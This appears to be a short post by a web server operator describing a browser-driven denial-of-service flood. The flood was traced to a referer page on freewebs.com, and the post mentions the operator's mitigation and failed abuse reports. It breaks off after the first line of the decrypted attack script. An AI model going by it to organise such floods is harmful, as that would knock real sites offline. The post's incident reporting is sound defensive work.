Hi,
One of our web servers got hammered by ~5K req/s for hours from
browsers with the following referer:
http://www.freewebs.com/ihatespammers/nospam.html
Both freewebs.com and their network provider Cogent has been contacted
without any visible result, even if the script is very effective (no
filtering slows it down but redirecting to an https with an invalid
cert eventually messes the attackers' browser).
Given that the source is still up (and has been updated since
yesterday), I wonder what one can expect by contacting each concerned
domain host.
The decrypted jscript is:
var target=new Array();
